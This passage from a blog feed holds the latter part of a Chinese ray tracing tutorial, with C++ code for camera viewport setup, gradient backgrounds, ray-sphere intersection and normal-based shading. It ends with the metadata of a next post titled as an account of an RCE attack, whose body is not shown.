class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;color.h&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;ray.h&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;vec3.h&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function">color <span class="title">ray_color</span><span class="params">(<span class="type">const</span> ray&amp; r)</span> </span>{</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">color</span>(<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Image</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">auto</span> aspect_ratio = <span class="number">16.0</span> / <span class="number">9.0</span>;</span><br><span class="line">    <span class="type">int</span> image_width = <span class="number">400</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> image_height = <span class="built_in">int</span>(image_width / aspect_ratio);</span><br><span class="line">    image_height = (image_height &lt; <span class="number">1</span>) ? <span class="number">1</span> : image_height;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Camera</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">auto</span> focal_length = <span class="number">1.0</span>;</span><br><span class="line">    <span class="keyword">auto</span> viewport_height = <span class="number">2.0</span>;</span><br><span class="line">    <span class="keyword">auto</span> viewport_width = viewport_height * (<span class="built_in">double</span>(image_width)/image_height);</span><br><span class="line">    <span class="keyword">auto</span> camera_center = <span class="built_in">point3</span>(<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">auto</span> viewport_u = <span class="built_in">vec3</span>(viewport_width, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">    <span class="keyword">auto</span> viewport_v = <span class="built_in">vec3</span>(<span class="number">0</span>, -viewport_height, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">auto</span> pixel_delta_u = viewport_u / image_width;</span><br><span class="line">    <span class="keyword">auto</span> pixel_delta_v = viewport_v / image_height;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">auto</span> viewport_upper_left = camera_center</span><br><span class="line">                             - <span class="built_in">vec3</span>(<span class="number">0</span>, <span class="number">0</span>, focal_length) - viewport_u/<span class="number">2</span> - viewport_v/<span class="number">2</span>;</span><br><span class="line">    <span class="keyword">auto</span> pixel00_loc = viewport_upper_left + <span class="number">0.5</span> * (pixel_delta_u + pixel_delta_v);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Render</span></span><br><span class="line"></span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot;P3\n&quot;</span> &lt;&lt; image_width &lt;&lt; <span class="string">&quot; &quot;</span> &lt;&lt; image_height &lt;&lt; <span class="string">&quot;\n255\n&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">0</span>; j &lt; image_height; j++) {</span><br><span class="line">        std::clog &lt;&lt; <span class="string">&quot;\rScanlines remaining: &quot;</span> &lt;&lt; (image_height - j) &lt;&lt; <span class="string">&apos; &apos;</span> &lt;&lt; std::flush;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; image_width; i++) {</span><br><span class="line">            <span class="keyword">auto</span> pixel_center = pixel00_loc + (i * pixel_delta_u) + (j * pixel_delta_v);</span><br><span class="line">            <span class="keyword">auto</span> ray_direction = pixel_center - camera_center;</span><br><span class="line">            <span class="function">ray <span class="title">r</span><span class="params">(camera_center, ray_direction)</span></span>;</span><br><span class="line"></span><br><span class="line">            color pixel_color = <span class="built_in">ray_color</span>(r);</span><br><span class="line">            <span class="built_in">write_color</span>(std::cout, pixel_color);</span><br><span class="line">        }</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    std::clog &lt;&lt; <span class="string">&quot;\rDone.                 \n&quot;</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>&#x6E32;&#x67D3;&#x7684;&#x5173;&#x952E;&#x90E8;&#x5206;&#x5728;&#x4E8E;&#xFF0C;&#x83B7;&#x5F97; ray &#x5C04;&#x7EBF;&#x540E;&#xFF1A;</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// &#x83B7;&#x5F97; ray &#x5C04;&#x7EBF;</span></span><br><span class="line"><span class="function">ray <span class="title">r</span><span class="params">(camera_center, ray_direction)</span></span>;</span><br><span class="line"><span class="comment">// &#x5BF9;&#x5C04;&#x7EBF;&#x6240;&#x6307;&#x5411;&#x7684;&#x70B9;&#x8FDB;&#x884C;&#x7740;&#x8272;&#xFF0C;&#x5373;&#x6E32;&#x67D3;</span></span><br><span class="line">color pixel_color = <span class="built_in">ray_color</span>(r);</span><br><span class="line"><span class="comment">// &#x7740;&#x8272;&#x540E;&#x5199;&#x5165;&#x56FE;&#x50CF;&#x6587;&#x4EF6;</span></span><br><span class="line"><span class="built_in">write_color</span>(std::cout, pixel_color);</span><br><span class="line"></span><br><span class="line"><span class="function">color <span class="title">ray_color</span><span class="params">(<span class="type">const</span> ray&amp; r)</span> </span>{</span><br><span class="line"><span class="comment">//&#x76EE;&#x524D; &#x6E32;&#x67D3;&#x7684;&#x70B9;&#x90FD;&#x4E3A;(0,0,0) &#x5373;&#x4E3A;&#x9ED1;&#x8272;</span></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">color</span>(<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>&#x7ED3;&#x679C;&#x5982;&#x4E0B;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250305194611.png" alt="image.png"></p><p>&#x4E3A;&#x4E86;&#x6E32;&#x67D3;&#x5176;&#x4ED6;&#x989C;&#x8272;&#xFF0C;&#x9700;&#x8981;&#x66F4;&#x6539; ray_color &#x7684;&#x903B;&#x8F91;&#x3002;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x60F3;&#x5148;&#x505A;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x6E10;&#x53D8;&#x6548;&#x679C;&#x3002;</p><p>&#x6709;&#x4E00;&#x79CD;&#x65B9;&#x6CD5;&#x53EB;&#x505A;<strong>&#x7EBF;&#x6027;&#x6DF7;&#x5408;</strong> &#x6216; <strong>&#x7EBF;&#x6027;&#x63D2;&#x503C;</strong>&#xFF1A; $$ f(a) = (1-a) \cdot v_0 + a \cdot v_1 $$<br>&#x5176;&#x56FE;&#x50CF;&#x662F;&#xFF1A;</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250305214254.png" alt></p><!-- https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250305214254.png --><p>&#x5E94;&#x7528;&#x5230;&#x4EE3;&#x7801;&#x4E2D;&#x662F;&#x8FD9;&#x6837;&#xFF1A;</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">color <span class="title">ray_color</span><span class="params">(<span class="type">const</span> ray&amp; r)</span> </span>{</span><br><span class="line">    vec3 unit_direction = <span class="built_in">unit_vector</span>(r.<span class="built_in">direction</span>());</span><br><span class="line">    <span class="keyword">auto</span> a = <span class="number">0.5</span>*(unit_direction.<span class="built_in">y</span>() + <span class="number">1.0</span>);</span><br><span class="line">    <span class="keyword">return</span> (<span class="number">1.0</span>-a)*<span class="built_in">color</span>(<span class="number">1.0</span>, <span class="number">1.0</span>, <span class="number">1.0</span>) + a*<span class="built_in">color</span>(<span class="number">0.5</span>, <span class="number">0.7</span>, <span class="number">1.0</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>&#x6240;&#x6709;&#x56FE;&#x7247;&#x53D8;&#x6210;&#x6E10;&#x53D8;&#x4E86;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250305195904.png" alt="image.png"></p><h4 id="5-&#x6E32;&#x67D3;&#x7403;&#x4F53;">5. &#x6E32;&#x67D3;&#x7403;&#x4F53;</h4><p>&#x6839;&#x636E;&#x524D;&#x9762;&#x7684;&#x6570;&#x5B66;&#x77E5;&#x8BC6;&#xFF0C;&#x6211;&#x4EEC;&#x5DF2;&#x7ECF;&#x77E5;&#x9053;&#x4E86;&#x7ED8;&#x5236;&#x4E00;&#x4E2A;&#x60F3;&#x8C61;&#x4E2D;&#x7684;&#x7403;&#x4F53;&#x662F;&#x5982;&#x4F55;&#x4E86;&#x3002;&#x5047;&#x8BBE;&#x6211;&#x4EEC;&#x8981;&#x5728; viewport &#x4E2D;&#x5FC3;&#x5904;&#x6E32;&#x67D3;&#x5904;&#x8FD9;&#x4E2A;&#x7403;&#x4F53;&#xFF0C;&#x76EE;&#x524D;&#x7403;&#x7684;&#x4E2D;&#x5FC3;&#x70B9;&#x5DF2;&#x77E5;&#xFF0C;ray &#x5C04;&#x7EBF;&#x4E5F;&#x5DF2;&#x77E5;&#xFF0C;&#x90A3;&#x4E48;&#x53EA;&#x5269;&#x4E0B;&#x89E3;&#x65B9;&#x7A0B;&#x4E86;&#x3002;<br>$$ \mathbf{P}(t) = \mathbf{A} + t\mathbf{b} $$<br>$$(C_x - x)^2 + (C_y - y)^2 + (C_z - z)^2 = r^2$$</p><blockquote><p>P=(x,y,z)&#x5230;&#x4E2D;&#x5FC3; C=(Cx,Cy,Cz) &#x7684;&#x5411;&#x91CF;&#x662F; (C&#x2212;P), &#x90A3;&#x4E48;&#x7403;&#x7684;&#x8868;&#x660E;&#x65B9;&#x7A0B;&#x4E3A;&#xFF1A;(C&#x2212;P)&#x22C5;(C&#x2212;P)=r2</p></blockquote><blockquote></blockquote><p>&#x6C42;&#x7403;&#x6839;&#x516C;&#x5F0F;&#x662F;&#xFF1A;<br>$$x = \frac{-b \pm \sqrt{b^2 - 4ac}}{2a}$$<br>&#x5F53;&#x5B83;&#x65E0;&#x89E3;&#x65F6;&#xFF0C;&#x8868;&#x660E; ray &#x5C04;&#x7EBF;&#x4E0E;&#x5176;&#x4E0D;&#x76F8;&#x4EA4;&#xFF0C;&#x5F53;&#x5B58;&#x5728;&#x4E00;&#x4E2A;&#x6839;&#x65F6;&#xFF0C;&#x8868;&#x793A;&#x60F3;&#x5207;&#xFF0C;&#x5B58;&#x5728;&#x4E24;&#x4E2A;&#x6839;&#xFF0C;&#x8868;&#x793A;&#x76F8;&#x4EA4;&#x5E76;&#x7A7F;&#x8FC7;(&#x4E0D;&#x8FC7;&#x8FD9;&#x5728;&#x73B0;&#x5728;&#x7684;&#x573A;&#x666F;&#x4E0B;&#x4E0E;&#x4E00;&#x4E2A;&#x6839;&#x533A;&#x522B;&#x4E0D;&#x5927;)&#x3002;</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// &#x5224;&#x65AD; ray &#x5C04;&#x7EBF;&#x662F;&#x5426;&#x78B0;&#x649E;&#x5230;&#x7403;&#x4F53;</span></span><br><span class="line"><span class="function"><span class="type">bool</span> <span class="title">hit_sphere</span><span class="params">(<span class="type">const</span> point3&amp; center, <span class="type">double</span> radius, <span class="type">const</span> ray&amp; r)</span> </span>{</span><br><span class="line"><span class="comment">// C-Q</span></span><br><span class="line">    vec3 oc = center - r.<span class="built_in">origin</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// &#x7B80;&#x5316;&#x540E;&#x7684;&#x6C42;&#x6839;&#x516C;&#x5F0F;&#x7684;&#x7CFB;&#x6570;&#x5206;&#x89E3;</span></span><br><span class="line">    <span class="keyword">auto</span> a = <span class="built_in">dot</span>(r.<span class="built_in">direction</span>(), r.<span class="built_in">direction</span>());</span><br><span class="line">    <span class="keyword">auto</span> b = <span class="number">-2.0</span> * <span class="built_in">dot</span>(r.<span class="built_in">direction</span>(), oc);</span><br><span class="line">    <span class="keyword">auto</span> c = <span class="built_in">dot</span>(oc, oc) - radius*radius;</span><br><span class="line"></span><br><span class="line"><span class="comment">// &#x5224;&#x65AD; b2 - 4ac &#x7684;&#x5927;&#x5C0F;</span></span><br><span class="line">    <span class="keyword">auto</span> discriminant = b*b - <span class="number">4</span>*a*c;</span><br><span class="line">    &#x5927;&#x4E8E;&#x6216;&#x7B49;&#x4E8E; <span class="number">0</span> &#x65F6;&#xFF0C;&#x8BF4;&#x660E;&#x6709;&#x6839;&#xFF0C;&#x56E0;&#x6B64;&#x5C04;&#x7EBF; ray &#x4E0E;&#x7403;&#x4F53;&#x76F8;&#x4EA4;&#x3002;</span><br><span class="line">    <span class="keyword">return</span> (discriminant &gt;= <span class="number">0</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function">color <span class="title">ray_color</span><span class="params">(<span class="type">const</span> ray&amp; r)</span> </span>{</span><br><span class="line"><span class="comment">// &#x7403;&#x4F53;&#x7684;&#x4E2D;&#x5FC3;&#x70B9;&#x4E3A;(0,0,-1), &#x5373;&#x5728; Z &#x8F74;&#x65B9;&#x5411;&#x4E0A;&#x8DDD;&#x76F8;&#x673A;&#x539F;&#x70B9;(0,0,0) 1 &#x4E2A;&#x5355;&#x4F4D;&#x8DDD;&#x79BB;&#x3002;&#x534A;&#x5F84; 0.5&#xFF0C;</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">hit_sphere</span>(<span class="built_in">point3</span>(<span class="number">0</span>,<span class="number">0</span>,<span class="number">-1</span>), <span class="number">0.5</span>, r))</span><br><span class="line">    <span class="comment">// &#x5F53;&#x4E0E;&#x7403;&#x4F53;&#x76F8;&#x4EA4;&#x65F6;&#xFF0C;&#x6E32;&#x67D3;&#x4E3A;&#x7EA2;&#x8272;</span></span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">color</span>(<span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"><span class="comment">// &#x5176;&#x4F59;&#x60C5;&#x51B5;&#xFF0C;&#x4FDD;&#x6301;&#x6E10;&#x53D8;</span></span><br><span class="line">    vec3 unit_direction = <span class="built_in">unit_vector</span>(r.<span class="built_in">direction</span>());</span><br><span class="line">    <span class="keyword">auto</span> a = <span class="number">0.5</span>*(unit_direction.<span class="built_in">y</span>() + <span class="number">1.0</span>);</span><br><span class="line">    <span class="keyword">return</span> (<span class="number">1.0</span>-a)*<span class="built_in">color</span>(<span class="number">1.0</span>, <span class="number">1.0</span>, <span class="number">1.0</span>) + a*<span class="built_in">color</span>(<span class="number">0.5</span>, <span class="number">0.7</span>, <span class="number">1.0</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250305202208.png" alt="image.png"></p><p>&#x7ED3;&#x679C;&#x5982;&#x9884;&#x671F;&#x4E00;&#x6837;&#xFF0C;&#x6E32;&#x67D3;&#x51FA;&#x4E86;&#x4E00;&#x4E2A;&#x7403;&#x4F53;&#xFF0C;&#x4ECE;&#x60F3;&#x8C61;&#x4E2D;&#x900F;&#x660E;&#x7684;&#x7403;&#x4F53;&#x53D8;&#x4E3A;&#x53EF;&#x89C1;&#x7684;&#x4E86;&#x3002;</p><h4 id="6-&#x7403;&#x4F53;&#x8868;&#x9762;&#x6CD5;&#x7EBF;&#x7740;&#x8272;">6. &#x7403;&#x4F53;&#x8868;&#x9762;&#x6CD5;&#x7EBF;&#x7740;&#x8272;</h4><p>&#x7403;&#x4F53;&#x8868;&#x9762;&#x7684;&#x6CD5;&#x7EBF;&#x5373;&#x4E3A;&#x5782;&#x76F4;&#x4E8E;&#x8868;&#x9762;&#x7684;&#x4E00;&#x6761;&#x7EBF;&#xFF0C;&#x5728;&#x5750;&#x6807;&#x7CFB;&#x4E2D;&#x5B83;&#x4F4D;&#x4E8E;&#x4ECE;&#x7403;&#x5FC3;&#x6307;&#x5411;&#x8868;&#x9762;&#x4EA4;&#x70B9;&#x7684;&#x65B9;&#x5411;&#x3002;</p><p>&#x521A;&#x624D;&#x6211;&#x4EEC;&#x4F7F;&#x7528; ray &#x5C04;&#x7EBF;&#x8FDB;&#x884C;&#x7740;&#x8272;&#xFF0C;&#x73B0;&#x5728;&#x4F7F;&#x7528;&#x7403;&#x4F53;&#x8868;&#x9762;&#x6CD5;&#x7EBF;&#x8FDB;&#x884C;&#x7740;&#x8272;&#x3002;</p><p>&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">double</span> <span class="title">hit_sphere</span><span class="params">(<span class="type">const</span> point3&amp; center, <span class="type">double</span> radius, <span class="type">const</span> ray&amp; r)</span> </span>{</span><br><span class="line">    vec3 oc = center - r.<span class="built_in">origin</span>();</span><br><span class="line">    <span class="keyword">auto</span> a = <span class="built_in">dot</span>(r.<span class="built_in">direction</span>(), r.<span class="built_in">direction</span>());</span><br><span class="line">    <span class="keyword">auto</span> b = <span class="number">-2.0</span> * <span class="built_in">dot</span>(r.<span class="built_in">direction</span>(), oc);</span><br><span class="line">    <span class="keyword">auto</span> c = <span class="built_in">dot</span>(oc, oc) - radius*radius;</span><br><span class="line">    <span class="keyword">auto</span> discriminant = b*b - <span class="number">4</span>*a*c;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (discriminant &lt; <span class="number">0</span>) {</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1.0</span>;</span><br><span class="line">    } <span class="keyword">else</span> {</span><br><span class="line">    <span class="comment">// &#x6C42;&#x6700;&#x5C0F;&#x6839;&#xFF0C;&#x5373;&#x79BB;&#x76F8;&#x673A;&#x539F;&#x70B9;&#x6700;&#x8FD1;&#x7684;&#x4EA4;&#x70B9;&#x3002;</span></span><br><span class="line">        <span class="built_in">return</span> (-b - std::<span class="built_in">sqrt</span>(discriminant) ) / (<span class="number">2.0</span>*a);</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function">color <span class="title">ray_color</span><span class="params">(<span class="type">const</span> ray&amp; r)</span> </span>{</span><br><span class="line">    <span class="keyword">auto</span> t = <span class="built_in">hit_sphere</span>(<span class="built_in">point3</span>(<span class="number">0</span>,<span class="number">0</span>,<span class="number">-1</span>), <span class="number">0.5</span>, r);</span><br><span class="line">    <span class="keyword">if</span> (t &gt; <span class="number">0.0</span>) {</span><br><span class="line">    <span class="comment">// &#x5F53;&#x5B58;&#x5728;&#x6700;&#x5C0F;&#x6839;&#x65F6;&#xFF0C;&#x8BA1;&#x7B97;&#x6CD5;&#x7EBF;&#xFF0C;&#x5E76;&#x5C06;&#x4E4B;&#x8F6C;&#x6362;&#x4E3A;&#x5355;&#x4F4D;&#x5411;&#x91CF;&#x3002; t.at(t)&#x5373;&#x4E3A;&#x7403;&#x4F53;&#x8868;&#x9762;&#x4EA4;&#x70B9; </span></span><br><span class="line">        vec3 N = <span class="built_in">unit_vector</span>(r.<span class="built_in">at</span>(t) - <span class="built_in">vec3</span>(<span class="number">0</span>,<span class="number">0</span>,<span class="number">-1</span>));</span><br><span class="line">        <span class="comment">// &#x5C06;&#x6CD5;&#x7EBF;&#x6BCF;&#x4E2A;&#x5206;&#x91CF;&#x7684;&#x8303;&#x56F4;&#x7F29;&#x653E;&#x5230;[0,1]  &#xFF08;N.x() &#x6700;&#x5927;&#x662F;1&#x4E2A;&#x5355;&#x4F4D;&#xFF09;</span></span><br><span class="line">        <span class="comment">// &#x8FD9;&#x4E5F;&#x4EA7;&#x751F;&#x4E00;&#x79CD;&#x5E73;&#x6ED1;&#x7684;&#x6E10;&#x53D8;&#x6548;&#x679C;</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">0.5</span>*<span class="built_in">color</span>(N.<span class="built_in">x</span>()<span class="number">+1</span>, N.<span class="built_in">y</span>()<span class="number">+1</span>, N.<span class="built_in">z</span>()<span class="number">+1</span>);</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    vec3 unit_direction = <span class="built_in">unit_vector</span>(r.<span class="built_in">direction</span>());</span><br><span class="line">    <span class="keyword">auto</span> a = <span class="number">0.5</span>*(unit_direction.<span class="built_in">y</span>() + <span class="number">1.0</span>);</span><br><span class="line">    <span class="keyword">return</span> (<span class="number">1.0</span>-a)*<span class="built_in">color</span>(<span class="number">1.0</span>, <span class="number">1.0</span>, <span class="number">1.0</span>) + a*<span class="built_in">color</span>(<span class="number">0.5</span>, <span class="number">0.7</span>, <span class="number">1.0</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>&#x4E8E;&#x662F;&#x7403;&#x4F53;&#x4E5F;&#x6709;&#x4E86;&#x6E10;&#x53D8;&#x8272;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250305205321.png" alt="image.png"></p><h3 id="&#x540E;&#x7EED;">&#x540E;&#x7EED;</h3><p>&#x7528;&#x4E0B;&#x9762;&#x7684;&#x793A;&#x610F;&#x56FE;&#x603B;&#x7ED3;&#x4E00;&#x4E0B;&#x6574;&#x4E2A;&#x6E32;&#x67D3;&#x6D41;&#x7A0B;&#x7684;&#x6838;&#x5FC3;&#x6B65;&#x9AA4;&#xFF1A;</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250305213537.png" alt></p><p>&#x540E;&#x9762;&#x8FD8;&#x6709;&#x5BF9;&#x4EA4;&#x70B9;&#x9644;&#x8FD1;&#x7684;&#x70B9;&#x8FDB;&#x884C;&#x6297;&#x952F;&#x9F7F;&#x5904;&#x7406;&#x3001;&#x8868;&#x9762;&#x6F2B;&#x53CD;&#x5C04;&#x5904;&#x7406;&#x3001;&#x6298;&#x5C04;&#x5904;&#x7406;&#xFF0C;&#x4EE5;&#x53CA;&#x6839;&#x636E;&#x4E0D;&#x540C;&#x6750;&#x6599;&#x8868;&#x9762;&#x7684;&#x53CD;&#x5C04;&#x60C5;&#x51B5;&#x505A;&#x4E0D;&#x540C;&#x7684;&#x5904;&#x7406;&#x7B49;&#x7B49;&#x66F4;&#x590D;&#x6742;&#x7684;&#x5904;&#x7406;&#xFF0C;&#x65F6;&#x95F4;&#x6709;&#x9650;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x5148;&#x4E0D;&#x5199;&#x4E86;&#xFF0C;&#x540E;&#x9762;&#x6709;&#x65F6;&#x95F4;&#x518D;&#x7EE7;&#x7EED;&#x5199;&#x3002;&#x6709;&#x5174;&#x8DA3;&#x53EF;&#x4EE5;&#x770B;&#x53C2;&#x8003;&#x94FE;&#x63A5;&#x3002;</p><h3 id="&#x53C2;&#x8003;&#x94FE;&#x63A5;&#xFF1A;">&#x53C2;&#x8003;&#x94FE;&#x63A5;&#xFF1A;</h3><ol><li class="lvl-3"><p><a href="https://raytracing.github.io/books/RayTracingInOneWeekend.html">https://raytracing.github.io/books/RayTracingInOneWeekend.html</a></p></li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x8BE6;&amp;#x7EC6;&amp;#x89E3;&amp;#x6790;&amp;#x8F7B;&amp;#x91CF;&amp;#x7EA7;&amp;#x5149;&amp;#x7EBF;&amp;#x8FFD;&amp;#x8E2A;&amp;#x5F15;&amp;#x64CE;&amp;#x7684;&amp;#x5B9E;&amp;#x73B0;&amp;#x539F;&amp;#x7406;&amp;#xFF0C;&amp;#x4ECE;&amp;#x89C6;&amp;#x53E3;&amp;#x6784;&amp;#x5EFA;&amp;#x5230;&amp;#x900F;&amp;#x89C6;&amp;#x6295;&amp;#x5F71;&amp;#x7684;&amp;#x5B8C;&amp;#x6574;&amp;#x8FC7;&amp;#x7A0B;&lt;/p&gt;
&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x8BE6;&amp;#x7EC6;&amp;#x4ECB;&amp;#x7ECD;&amp;#x5149;&amp;#x7EBF;&amp;#x8FFD;&amp;#x8E2A;&amp;#x7684;&amp;#x57FA;&amp;#x672C;&amp;#x539F;&amp;#x7406;&amp;#x548C;&amp;#x5B9E;&amp;#x73B0;&amp;#x65B9;&amp;#x6CD5;&amp;#xFF0C;&amp;#x4EE5;&amp;#x76F4;&amp;#x89C2;&amp;#x7684;&amp;#x65B9;&amp;#x5F0F;&amp;#x89E3;&amp;#x91CA;&amp;#x5149;&amp;#x7EBF;&amp;#x5982;&amp;#x4F55;&amp;#x4E0E;&amp;#x7269;&amp;#x4F53;&amp;#x76F8;&amp;#x4EA4;&amp;#x5E76;&amp;#x751F;&amp;#x6210;&amp;#x56FE;&amp;#x50CF;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x4ECE;PPM&amp;#x683C;&amp;#x5F0F;&amp;#x56FE;&amp;#x50CF;&amp;#x8868;&amp;#x793A;&amp;#x5F00;&amp;#x59CB;&amp;#xFF0C;&amp;#x6DF1;&amp;#x5165;&amp;#x8BB2;&amp;#x89E3;&amp;#x5C04;&amp;#x7EBF;&amp;#x6570;&amp;#x5B66;&amp;#x8868;&amp;#x8FBE;&amp;#x3001;&amp;#x70B9;&amp;#x4E58;&amp;#x4E0E;&amp;#x53C9;&amp;#x4E58;&amp;#x7B49;&amp;#x5411;&amp;#x91CF;&amp;#x8FD0;&amp;#x7B97;&amp;#x7684;&amp;#x51E0;&amp;#x4F55;&amp;#x610F;&amp;#x4E49;&amp;#xFF0C;&amp;#x5E76;&amp;#x5C55;&amp;#x793A;&amp;#x4E86;&amp;#x4E3B;&amp;#x5C04;&amp;#x7EBF;&amp;#x3001;&amp;#x9634;&amp;#x5F71;&amp;#x5C04;&amp;#x7EBF;&amp;#x3001;&amp;#x53CD;&amp;#x5C04;&amp;#x5C04;&amp;#x7EBF;&amp;#x548C;&amp;#x6298;&amp;#x5C04;&amp;#x5C04;&amp;#x7EBF;&amp;#x5982;&amp;#x4F55;&amp;#x534F;&amp;#x540C;&amp;#x5DE5;&amp;#x4F5C;&amp;#x6784;&amp;#x5EFA;&amp;#x903C;&amp;#x771F;&amp;#x7684;3D&amp;#x6E32;&amp;#x67D3;&amp;#x573A;&amp;#x666F;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Ray Tracing" scheme="https://oschina.win/categories/Ray-Tracing/"/>
    
    
    <category term="Ray Tracing" scheme="https://oschina.win/tags/Ray-Tracing/"/>
    
  </entry>
  
  <entry>
    <title>记一次远程代码执行 (RCE) 攻击</title>
    <link href="https://oschina.win/posts/7cbf3ace.html"/>
    <id>https://oschina.win/posts/7cbf3ace.html</id>
    <published>2025-02-02T05:11:16.000Z</published>
    <updated>2025-02-02T05:11:16.000Z</updated>
    
